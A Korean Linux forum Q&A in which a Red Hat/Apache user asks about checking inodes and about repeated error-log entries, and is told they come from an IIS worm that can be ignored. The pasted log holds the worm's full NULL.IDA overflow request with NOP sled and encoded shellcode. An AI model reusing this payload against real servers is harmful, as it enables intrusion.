[이현철]님이 남기신 글:

>-----------------------------------------
>답변자가 기본적으로 참고할 내용입니다.
>- 배포판(옵션)    : 
>- 커널버전(옵션)
  : 
>- 데몬버전(예:apache
 1.3.27) : 
>- 데몬설치유형(RPM/컴파일/기타)
 : 
>-----------------------------------------
>
>산이님 오랜만에 질문드리네요..

>
>이용서버 os는 레드햇9.0 ,아파치를 이용하고있습니다.

>    
>
>1. 예전에 한번 질문드렸는데요.

>    /var/log에   lograte부분에서 innode가 부족해서
>     -rw-------    1 root     root            0 Jul  6 04:02 cron
>     -rw-------    1 root     root        57172 Jul  6 11:05 cron.1
>      
>       
>아마 inode 가 다 차서 그럴 가능성이 높다고 했는데요
>inde 를 확인 후에  crond 를 재가동하면 괜찮을것이라고
 했는데
>inde를 확인한다는 뜻이 무슨말인지요....

>

shell> df -i

로 확인해 보면 각 파티션마다 inode 상황이 나옵니다. 
   
>
>2.서버 로그를 확인하다가 몇칠전부터 아래와 같은 주소에서

>아파치 error.log에 자꾸 남고 있는데요.
>타이완에서 오는것 같은데  아래와같은 로그가 반복적으로
남고있는데요.
>시간을 보면 5초단위로 남는데 아무래도 로봇도 같은데
무시해도 괜찮을지요..
>이 아이피대를 막아버리는것이
 좋을지.
>아니면 그대로 무시해도 좋을지요.....
>

windows IIS(?)를 공격하기 위한 웜바이러스 입니다.
Uinx/Linux 에는 크게 피해주는 것이 아니기 때문에
그냥 무시해도 됩니다.

>
>좋은하루되세요.

>
>
>2004] [error] [client 61.222.207.240] request failed: erroneous characters
afte
>r protocol string: GET
/NULL.IDA?CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCC
>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%uac97
%u77e4%u0000%u000
>0%u838b%u0094%u0000%u408b%u0564%u0150%u0000%ue0ff%u9090=x&\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x
>90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\xeb\t\x90\x90
>\x90_\xeb\b\x90\x90\x90\xe8\xf5\xff\xff\xff\x8do\xf0\x8d}-\x90\x90\x90\x8b\xf7f\xb8
H\x063\xc9f\x8b\x
>c8\xb4\x99\xfc\xac2\xc4\xaa\xe2\xfa\x14$\xec\x9f\x99\x99e\xaaP(\xb9)\xbdk7_\xdef\x9
9q\x94\x9d\x99\x9
>9q\x16\x9d\x99\x99q\xd7\x9b\x99\x99\x10\x1c\xda\x9c\x99\x99q\xc8\x9b\x99\x99q\xbd\x
9a\x99\x99\x10\x1
>c\xde\x9c\x99\x99q'\x98\x99\x99\x10\x1c\xd6\x9c\x99\x99\x12\x1c\xde\x9c\x99\x99q\xe
6\x9b\x99\x99\x10
>\x1c\xd2\x9c\x99\x99q\xc7\x99\x99\x99q\b\x99\x99\x99\x1aa\x99\xedy\x12\x1c\xd2\x9c\
x99\x99\xc9f\x0c\
>x94\x9f\x99\x99\x12\x1c\xde\x9c\x99\x99\xc9f\x0c\x94\x9f\x99\x99\x12\x1c\xb6\x9c\x9
9\x99\xc9f\x0c\x1
>f\x9c\x99\x99\x12\x1c\xa2\x9c\x99\x99\xc9f\x0c\x1f\x9c\x99\x99!\x99\x99\x99\x99\xc9
\x12\x1c\xd6\x9c\
>x99\x99\xc9f\x0c\\\x9c\x99\x99!\x99\x99\x99\x99\xc9f\x0cO\x9c\x99\x99Z\x12\x1c\xd2\
x9c\x99\x99\xf3\x
>99\xf3\x80\x14\x1c\x9a\x98\x99\x99\xc9\x12\x1c\xd2\x9c\x99\x99\xc9f\x0c\x9a\x9f\x99
\x99Z\x94\x93\xce
>\xf0\xf7\xf7\xed\xd8\xec\xed\xf6\xd8\xed\xed\xf8\xfa\xf2\xb9\xcf\xab\xa9\x94\x93\x9
4\x93\xf1\t\x99\x
>99\x99f\x0c&\x9c\x99\x99\x12\x1c\xb6\x9c\x99\x99q_\x99\x99\x99\x1aaf\x96\x1d/\x99\x
99\x99\x1aa\x99\x
>ed\xce\t\t\t\t\xf3\x99\x14\x1c\xa6\x9c\x99\x99\xc9\xf1\x99\x9d\x99\x99\x12\x1c\xda\
x9c\x99\x99\xc9\x
>12\x1c\xb6\x9c\x99\x99\xc9f\x0c/\x9c\x99\x99\x1aa\x99\x96\x1d\x1b\x99\x99\x99\xf3\x
99\x12\x1c\xa6\x9
>c\x99\x99\xc9\x12\x1c\xda\x9c\x99\x99\xc9\x12\x1c\xd2\x9c\x99\x99\xc9f\x0c\x9a\x9f\
x99\x99\x1aaf\xed
>\xfd\t\t\t\tr\x1c\xf3\x99\xf1\x99\x9d\x99\x99\x12\x1c\xda\x9c\x99\x99\xc9\x12\x1c\x
d2\x9c\x99\x99\xc
>9f\x0c\x91\x9f\x99\x99\x1aa\x99\xed\xa7\t\t\t\t\x1aaf\xed\xac\t\t\t\t\xaaB\xca\x14\
x04\xa6\x9c\x99\x
>99\xca\xc9\x12\x1c\xda\x9c\x99\x99\xc9\x12\x1c\xa2\x9c\x99\x99\xc9f\x0c5\x9c\x99\x9
9\x1aa\x99\xed\x9
>0\t\t\t\tp\xb2fff\xaaY\xd1Z\xaaYZ\xaaB\xca\x14\x04\xbd\x9b\x99\x99\xca\xaaB\xca\xca
\xca\xc9f\x0c\v\x
>9c\x99\x99\x1aa\x99\xed\x92\t\t\t\t\x12\x1c\xbd\x9b\x99\x99Z!ffffZ\x99\x99\x99\x99\
x12\x1c\xda\x9c\x
>99\x99^\x99\xdd\x99\x99\x99\xc9f\x0c\xfe\x9c\x99\x99\x12\x04\xda\x9c\x99\x99\x12\x1
c\xaa\x9c\x99\x99
>\x10\xda\xd9\x10\xda\xa5\x12\x1c\xae\x9c\x99\x99\x10\xda\xa1!\x98\x98\x99\x99\x10\x
da\xb5\xca\xca\xa
>aY\xc9\xc9\xc9\xd9\xc9\xd1\xc9\xc9\x14\x1c\xec\x9f\x99\x99\xc9\xaaY\xc9f\x0c\xee\x9
c\x99\x99\x12\x1c
>\xaa\x9c\x99\x99\xc9f\x0c\x1f\x9c\x99\x99\x12\x1c\xae\x9c\x99\x99\xc9f\x0c\x1f\x9c\
x99\x99\x12\x1c\x
>da\x9c\x99\x99\x12\x99Z\xf1\x99\x9d\x99\x99\xf3\xd9f\x0c9\x9c\x99\x99Z\xaaY\xc9\x14
\x1cw\x9b\x99\x99
>^\x99\x95\x99\x99\x99\xc9\x14\x1c\xaa\x9c\x99\x99\xc9\x14\x1c\xb6\x9c\x99\x99\xc9f\
x0c\xc5\x9c\x99\x
>99\xaaY\xc9\x14\x1cw\x9b\x99\x99\xc9\x14\x1c\xa2\x9c\x99\x99\xc9\x14\x1c\xae\x9c\x9
9\x99\xc9f\x0c\xc
>5\x9c\x99\x99Z\x99\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99\xc9\x14\x04\xb8\x9a\
x99\x99^\x9a\x89\
>x99\x99\x99\xca\x14\x04\xdb\x9d\x99\x99\xca\xc9f\x0ce\x9c\x99\x99\x12A\x1aa\x99\xc1
\xe5E\x12ZZ\x89\x
>99\x99\x99\xf3\x8a\x14\x1c\xf6\x9a\x99\x99\xc9f\x0c\xbd\x9f\x99\x99\x14\x1c\xf6\x9a
\x99\x99\xc9f\x0c
>\xa9\x9f\x99\x99\x1aa\x99\xed\xbb\t\t\t\t\x12\xe9\x95\x12ge4\x1aa\x99\xed\x8a\t\t\t
\t\x12\x99\xa5\x9 

========================================